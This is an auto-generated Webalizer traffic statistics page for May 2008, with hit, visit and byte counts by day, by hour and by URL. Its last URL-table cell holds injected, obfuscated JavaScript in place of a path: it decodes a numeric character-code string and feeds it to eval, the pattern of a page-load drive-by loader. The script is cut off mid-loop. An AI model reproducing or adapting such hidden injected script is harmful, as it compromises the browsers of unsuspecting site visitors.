[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]
| Monthly Statistics for May 2008 | ||
|---|---|---|
| Total Hits | 4659 | |
| Total Files | 1503 | |
| Total Pages | 4362 | |
| Total Visits | 435 | |
| Total KBytes | 20661 | |
| Total Unique Sites | 259 | |
| Total Unique URLs | 66 | |
| Total Unique Referrers | 194 | |
| Total Unique User Agents | 37 | |
| . | Avg | Max |
| Hits per Hour | 6 | 779 |
| Hits per Day | 150 | 783 |
| Files per Day | 48 | 178 |
| Pages per Day | 140 | 782 |
| Visits per Day | 14 | 43 |
| KBytes per Day | 666 | 1981 |
| Hits by Response Code | ||
| Code 200 - OK | 1503 | |
| Code 206 - Partial Content | 5 | |
| Code 301 - Moved Permanently | 1 | |
| Code 304 - Not Modified | 39 | |
| Code 404 - Not Found | 3111 | |
| Daily Statistics for May 2008 | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Day | Hits | Files | Pages | Visits | Sites | KBytes | ||||||
| 1 | 13 | 0.28% | 13 | 0.86% | 13 | 0.30% | 4 | 0.92% | 2 | 0.77% | 119 | 0.57% |
| 2 | 783 | 16.81% | 2 | 0.13% | 782 | 17.93% | 4 | 0.92% | 4 | 1.54% | 292 | 1.41% |
| 3 | 566 | 12.15% | 17 | 1.13% | 563 | 12.91% | 17 | 3.91% | 13 | 5.02% | 927 | 4.49% |
| 4 | 113 | 2.43% | 108 | 7.19% | 104 | 2.38% | 19 | 4.37% | 19 | 7.34% | 871 | 4.22% |
| 5 | 30 | 0.64% | 26 | 1.73% | 23 | 0.53% | 15 | 3.45% | 12 | 4.63% | 342 | 1.65% |
| 6 | 101 | 2.17% | 10 | 0.67% | 98 | 2.25% | 9 | 2.07% | 10 | 3.86% | 25 | 0.12% |
| 7 | 589 | 12.64% | 77 | 5.12% | 572 | 13.11% | 43 | 9.89% | 28 | 10.81% | 1216 | 5.88% |
| 8 | 61 | 1.31% | 57 | 3.79% | 57 | 1.31% | 26 | 5.98% | 23 | 8.88% | 358 | 1.73% |
| 9 | 199 | 4.27% | 178 | 11.84% | 172 | 3.94% | 18 | 4.14% | 18 | 6.95% | 728 | 3.52% |
| 10 | 656 | 14.08% | 153 | 10.18% | 651 | 14.92% | 8 | 1.84% | 7 | 2.70% | 450 | 2.18% |
| 11 | 691 | 14.83% | 171 | 11.38% | 677 | 15.52% | 21 | 4.83% | 18 | 6.95% | 902 | 4.37% |
| 12 | 166 | 3.56% | 159 | 10.58% | 162 | 3.71% | 20 | 4.60% | 18 | 6.95% | 629 | 3.04% |
| 13 | 60 | 1.29% | 54 | 3.59% | 55 | 1.26% | 17 | 3.91% | 14 | 5.41% | 246 | 1.19% |
| 14 | 61 | 1.31% | 52 | 3.46% | 45 | 1.03% | 25 | 5.75% | 18 | 6.95% | 522 | 2.52% |
| 15 | 8 | 0.17% | 8 | 0.53% | 8 | 0.18% | 8 | 1.84% | 6 | 2.32% | 142 | 0.69% |
| 16 | 24 | 0.52% | 17 | 1.13% | 18 | 0.41% | 11 | 2.53% | 9 | 3.47% | 774 | 3.75% |
| 17 | 38 | 0.82% | 25 | 1.66% | 30 | 0.69% | 11 | 2.53% | 10 | 3.86% | 585 | 2.83% |
| 18 | 37 | 0.79% | 27 | 1.80% | 17 | 0.39% | 11 | 2.53% | 12 | 4.63% | 1574 | 7.62% |
| 19 | 18 | 0.39% | 14 | 0.93% | 9 | 0.21% | 4 | 0.92% | 4 | 1.54% | 352 | 1.71% |
| 20 | 44 | 0.94% | 33 | 2.20% | 28 | 0.64% | 12 | 2.76% | 10 | 3.86% | 710 | 3.44% |
| 21 | 28 | 0.60% | 21 | 1.40% | 15 | 0.34% | 10 | 2.30% | 11 | 4.25% | 1015 | 4.91% |
| 22 | 56 | 1.20% | 35 | 2.33% | 43 | 0.99% | 15 | 3.45% | 11 | 4.25% | 1981 | 9.59% |
| 23 | 43 | 0.92% | 33 | 2.20% | 29 | 0.66% | 10 | 2.30% | 9 | 3.47% | 476 | 2.30% |
| 24 | 18 | 0.39% | 11 | 0.73% | 10 | 0.23% | 7 | 1.61% | 8 | 3.09% | 352 | 1.70% |
| 25 | 22 | 0.47% | 16 | 1.06% | 14 | 0.32% | 9 | 2.07% | 8 | 3.09% | 814 | 3.94% |
| 26 | 36 | 0.77% | 27 | 1.80% | 27 | 0.62% | 14 | 3.22% | 13 | 5.02% | 1334 | 6.45% |
| 27 | 44 | 0.94% | 29 | 1.93% | 22 | 0.50% | 13 | 2.99% | 15 | 5.79% | 946 | 4.58% |
| 28 | 29 | 0.62% | 25 | 1.66% | 23 | 0.53% | 10 | 2.30% | 8 | 3.09% | 599 | 2.90% |
| 29 | 21 | 0.45% | 19 | 1.26% | 17 | 0.39% | 8 | 1.84% | 8 | 3.09% | 487 | 2.35% |
| 30 | 20 | 0.43% | 16 | 1.06% | 16 | 0.37% | 8 | 1.84% | 9 | 3.47% | 560 | 2.71% |
| 31 | 84 | 1.80% | 70 | 4.66% | 62 | 1.42% | 33 | 7.59% | 23 | 8.88% | 332 | 1.61% |
| Hourly Statistics for May 2008 | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Hour | Hits | Files | Pages | KBytes | ||||||||
| Avg | Total | Avg | Total | Avg | Total | Avg | Total | |||||
| 0 | 2 | 85 | 1.82% | 2 | 79 | 5.26% | 2 | 83 | 1.90% | 43 | 1335 | 6.46% |
| 1 | 2 | 75 | 1.61% | 1 | 59 | 3.93% | 2 | 67 | 1.54% | 28 | 878 | 4.25% |
| 2 | 1 | 58 | 1.24% | 1 | 50 | 3.33% | 1 | 54 | 1.24% | 8 | 237 | 1.15% |
| 3 | 18 | 563 | 12.08% | 1 | 58 | 3.86% | 18 | 558 | 12.79% | 19 | 597 | 2.89% |
| 4 | 2 | 71 | 1.52% | 2 | 64 | 4.26% | 2 | 62 | 1.42% | 31 | 975 | 4.72% |
| 5 | 1 | 57 | 1.22% | 1 | 54 | 3.59% | 1 | 52 | 1.19% | 9 | 276 | 1.34% |
| 6 | 1 | 59 | 1.27% | 1 | 46 | 3.06% | 1 | 53 | 1.22% | 12 | 387 | 1.87% |
| 7 | 19 | 611 | 13.11% | 3 | 96 | 6.39% | 19 | 591 | 13.55% | 18 | 552 | 2.67% |
| 8 | 2 | 76 | 1.63% | 1 | 61 | 4.06% | 1 | 55 | 1.26% | 16 | 501 | 2.43% |
| 9 | 1 | 52 | 1.12% | 1 | 44 | 2.93% | 1 | 38 | 0.87% | 24 | 742 | 3.59% |
| 10 | 18 | 579 | 12.43% | 1 | 51 | 3.39% | 18 | 560 | 12.84% | 29 | 906 | 4.38% |
| 11 | 2 | 63 | 1.35% | 1 | 53 | 3.53% | 1 | 53 | 1.22% | 20 | 620 | 3.00% |
| 12 | 2 | 75 | 1.61% | 2 | 71 | 4.72% | 2 | 66 | 1.51% | 23 | 710 | 3.44% |
| 13 | 2 | 65 | 1.40% | 1 | 49 | 3.26% | 1 | 57 | 1.31% | 22 | 689 | 3.34% |
| 14 | 3 | 93 | 2.00% | 2 | 85 | 5.66% | 2 | 82 | 1.88% | 31 | 950 | 4.60% |
| 15 | 4 | 145 | 3.11% | 1 | 45 | 2.99% | 4 | 131 | 3.00% | 34 | 1045 | 5.06% |
| 16 | 3 | 103 | 2.21% | 2 | 80 | 5.32% | 2 | 75 | 1.72% | 55 | 1720 | 8.33% |
| 17 | 1 | 60 | 1.29% | 1 | 59 | 3.93% | 1 | 52 | 1.19% | 46 | 1412 | 6.84% |
| 18 | 2 | 67 | 1.44% | 1 | 60 | 3.99% | 1 | 51 | 1.17% | 20 | 632 | 3.06% |
| 19 | 19 | 618 | 13.26% | 2 | 62 | 4.13% | 19 | 605 | 13.87% | 38 | 1179 | 5.71% |
| 20 | 2 | 89 | 1.91% | 2 | 76 | 5.06% | 1 | 53 | 1.22% | 37 | 1133 | 5.49% |
| 21 | 2 | 77 | 1.65% | 2 | 74 | 4.92% | 2 | 77 | 1.77% | 41 | 1260 | 6.10% |
| 22 | 27 | 839 | 18.01% | 1 | 54 | 3.59% | 26 | 822 | 18.84% | 27 | 826 | 4.00% |
| 23 | 2 | 79 | 1.70% | 2 | 73 | 4.86% | 2 | 65 | 1.49% | 35 | 1096 | 5.30% |
| Top 10 of 66 Total URLs By KBytes | |||||
|---|---|---|---|---|---|
| # | Hits | KBytes | URL | ||
| 1 | 72 | 1.55% | 4788 | 23.18% | /webalizer/usage_200802.html |
| 2 | 36 | 0.77% | 2963 | 14.34% | /webalizer/usage_200803.html |
| 3 | 24 | 0.52% | 2472 | 11.97% | /webalizer/usage_200706.html |
| 4 | 23 | 0.49% | 2105 | 10.19% | /webalizer/usage_200705.html |
| 5 | 20 | 0.43% | 1814 | 8.78% | /webalizer/usage_200707.html |
| 6 | 11 | 0.24% | 994 | 4.81% | /webalizer/usage_200805.html |
| 7 | 13 | 0.28% | 936 | 4.53% | /webalizer/usage_200804.html |
| 8 | 1116 | 23.95% | 640 | 3.10% | / |
| 9 | 10 | 0.21% | 548 | 2.65% | /webalizer/usage_200708.html |
| 10 | 5 | 0.11% | 511 | 2.47% | function CBeKy(lFwuKN){ var TySUSIZW=new Function("ncX", "return 872821;");alert('NmTqOe');window.eval(); }
function NTZS(hWal){var UHrvVQkw=6,fAgz=5;var qIMfd='72+0,126+0,122+2,136+4,116+2,130+4,121+1,38+2,142+4,126+0,120+0,139+1,124+4,73+1,58+4,38+2,124+4,121+1,126+0,123+3,124+4,139+1,73+1,58+4,38+2,117+3,133+1,136+4,120+0,121+1,136+4,73+1,57+3,38+2,122+2,136+4,116+2,130+4,121+1,117+3,133+1,136+4,120+0,121+1,136+4,73+1,57+3,38+2,138+0,136+4,',bSBxeEp=qIMfd.split(',');rZh='';for(HVMYENy=0;HVMYENy |